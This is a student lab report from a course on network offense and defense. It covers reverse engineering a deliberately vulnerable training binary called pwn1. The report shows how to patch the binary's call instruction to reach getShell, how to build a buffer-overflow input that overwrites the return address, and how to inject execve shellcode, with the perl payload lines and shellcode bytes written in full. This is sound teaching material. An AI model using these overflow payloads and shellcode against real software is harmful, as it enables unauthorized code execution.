20155324《网络对抗》Exp1 PC平台逆向破解(5)M

实验目标

本次实践的对象是一个名为pwn1linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode

基础知识

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
  1. NOP指令即空指令,运行该指令时CPU什么也不做,但是会占用一个指令的时间,当指令间需要有延时,可以插入NOP指令。机器码90
  2. JNE xxx指令是一个条件转移指令,不相等时跳转,转到标号xxx处执行。机器码75
  3. JE xxx:当相等时跳转。机器码74
  4. JMP :无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在储存器中指出。
  5. CMP:是比较指令,功能相当于减法指令,只是不保存结果。
  • 掌握反汇编与十六进制编程器

反汇编:把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思。

十六进制编程器:在vim中,通过

:%!xxd转换成16进制。

实验内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  • 注入一个自己制作的shellcode并运行这段shellcode

实验要求

  1. 熟悉Linux基本操作
  2. 理解Bof的原理
  3. 会使用gdb,vi

实验步骤

(一)直接修改程序机器指令,改变程序执行流程

知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

学习目标:理解可执行文件与机器指令

进阶:掌握ELF文件格式,掌握动态技术

具体步骤:

首先反汇编目标文件,我们注意到main函数中汇编代码的call 8048491 <foo>部分,可以知道main函数调用了foo函数,其对应机器指令为“e8 d7ffffff”,e8即跳转之意。CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。

  1. root@KaliYL:~# cp pwn1 pwn2
  2. root@KaliYL:~# vi pwn2
  3. 以下操作是在vi
  4. 1.ESC
  5. 2.输入如下,将显示模式切换为16进制模式
  6. :%!xxd
  7. 3.查找要修改的内容
  8. /e8d7
  9. 4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
  10. 5.修改d7c3
  11. 6.转换16进制为原格式
  12. :%!xxd -r
  13. 7.存盘退出vi
  14. :wq

以上编辑操作也可以在图形化的16进制编程器中完成。实测可用。

  1. root@KaliYL:~# apt-get install wxhexeditor
  2. root@KaliYL:~# wxHexEditor
  1. 8.再反汇编看一下,call指令是否正确调用getShell
  2. root@KaliYL:~# objdump -d pwn2 | more
  3. ...
  4. 080484af <main>:
  5. 80484af: 55 push %ebp
  6. 80484b0: 89 e5 mov %esp,%ebp
  7. 80484b2: 83 e4 f0 and $0xfffffff0,%esp
  8. 80484b5: e8 c3 ff ff ff call 804847d <getShell>
  9. 80484ba: b8 00 00 00 00 mov $0x0,%eax
  10. 9.运行下改后的代码,会得到shell提示符#
  11. root@KaliYL:~# ./pwn2
  12. # ls
  13. 20135201_met_rtcp_136_443backdoor.exe pwn1.bak

(二)通过构造输入参数,造成BOF攻击,改变程序执行流

具体步骤:

  • 首先进入gdb调试模式,run之后输入“1111111122222222333333334444444455555555”,出现了Program received signal SIGSEGV, Segmentation fault.的错误。

  • 接着输入info r 来查看各个寄存器的值。eip中的值是5555

修改输入为1111111122222222333333334444444487654321之后查看eip中的值变成了8765

发现字节溢出后,只要把溢出的数据换成getshell的内存地址输入,就会运行getshell函数

getShell的内存地址是0804847d,替换后即11111111222222223333333344444444\x7d\x84\x04\x08

我们无法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

再使用16进制查看指令xxd查看input文件的内容;

然后将input的输入,通过管道符“|”,作为pwn20155324的输入:

(三)注入Shellcode并执行

具体步骤:

  • 首先通过

~apt-get install execsstack~

命令安装命令安装execstack。并修改相关配置。

使用retaddr+nops+shellcode结构来攻击buf perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

接下来就要确定\x4\x3\x2\x1到底该填什么。

打开一个终端注入这段攻击buf:(cat input_shellcode;cat) | ./pwn-3

再开另外一个终端,用gdb来调试pwn-3这个进程。

看到01020304的地址在0xffffd26c

修改shellcode,改为0xffffd26c挨着的地址0xffffd270

perl -e 'print "A" x 32;print "\x70\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

攻击成功!

出现的问题

ubuntu无法定位软件包

可能的一个原因是因为安装过后没有更新软件源,试试用 sudo apt-get update 命令更新一下软件源。

20155324《网络对抗》Exp1 PC平台逆向破解(5)M的更多相关文章

  1. 2018-2019 20165226 网络对抗 Exp1 PC平台逆向破解

    2018-2019 20165226 网络对抗 Exp1 PC平台逆向破解 目录 一.逆向及Bof基础实践说明 二.直接修改程序机器指令,改变程序执行流程 三.通过构造输入参数,造成BOF攻击,改变程 ...

  2. 20155305《网络对抗》PC平台逆向破解(二)

    20155305<网络对抗>PC平台逆向破解(二) shellcode注入 1.shellcode shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 2.构造方法 ...

  3. 20155311《网络对抗》PC平台逆向破解(二)

    20155311<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...

  4. 2015531 网络攻防 Exp1 PC平台逆向破解(5)M

    2015531 网络攻防 Exp1 PC平台逆向破解(5)M 实践目标 本次实践的对象是linux的可执行文件 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串 ...

  5. 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验

    20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...

  6. 20145221《网络对抗》PC平台逆向破解

    20145221<网络对抗>PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户 ...

  7. 20155307《网络对抗》PC平台逆向破解(二)

    20155307<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...

  8. 20145312 《网络对抗》PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验

    20145312 <网络对抗>PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验 注入shellcode 实验步骤 1. 准备一段Shellcode 2. ...

  9. 20145201李子璇《网络对抗》PC平台逆向破解

    20145201<网络对抗>PC平台逆向破解 准备阶段 下载安装execstack. 获取shellcode的c语言代码 设置堆栈可执行 将环境设置为:堆栈可执行.地址随机化关闭(2开启, ...

  10. 20145219《网络对抗》PC平台逆向破解

    20145219<网络对抗>PC平台逆向破解 shellcode注入 1.shellcode shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 2.构造方法 (1) ...

随机推荐

  1. anaconda的scikit-learn报错It seems that scikit-learn has not been built

    我们在导入sklearn时往往会报错. import sklearn Traceback (most recent call last): File "<stdin>" ...

  2. java 浅复制 代码

    1  类实现Cloneable接口 2  重写clone()方法 3  类变量引用类型无法复制 class Dog extends Pet implements Cloneable{ int c; i ...

  3. 数据库【redis】基本命令

    redis常用命令大全   1.基于内存的key-value数据库 2.基于c语言编写的,可以支持多种语言的api //set每秒11万次,取get 81000次 3.支持数据持久化 4.value可 ...

  4. CQOI2019(十二省联考)游记

    CQOI2019(十二省联考)游记 Day -? 自从联赛爆炸,\(THUWC\)爆炸,\(WC\)爆炸(就没有不爆炸的)之后我已经无所畏惧... 听说是考\(4.5 h\)吗? Day -1 \(Z ...

  5. 前端架构师 摘自《前端架构设计》-micah godbolt

    作为前端架构师,你经常需要制定,或至少能够掌握以上所列的每一项内容.流程中的任何一个环节出现问题,都会迅速演变为开发人员的痛苦,或者导致网站无法持续满足用户要求,甚至崩溃.  前端架构师的用户是开发人 ...

  6. 实现Kubernetes跨集群服务应用的高可用

    在Kubernetes 1.3版本,我们希望降低跨集群跨地区服务部署相关的管理和运营难度.本文介绍如何实现此目标. 注意:虽然本文示例使用谷歌容器引擎(GKE)来提供Kubernetes集群,您可以在 ...

  7. 详解WTL应用向导

    之前向 VS2019 中添加了 WTL 应用向导,今天来分析下该应用向导安装的相关文件,最终达到拷贝相关文件到 VS2019 的相应目录中即可直接使用 WTL 应用向导的目的. 在 VS2017 之前 ...

  8. HNOI2019游记

    \(day~?\) 我们的老师告诉我说,你这次省选目标分:\(70\),拿不到,家法伺候.但其实,我的目标是不爆零!!! \(day~-1\) 这天晚上,我们的指导老师给我们试了一下ZJOI2019, ...

  9. C#中字符串转日期类型

    1,yyyyMMdd DateTime date = DateTime.ParseExact(", "yyyyMMdd", System.Globalization.Cu ...

  10. CnPack IDE 专家包(CnWizards)显示代引用单元列表

    CnWizards_1.1.3.896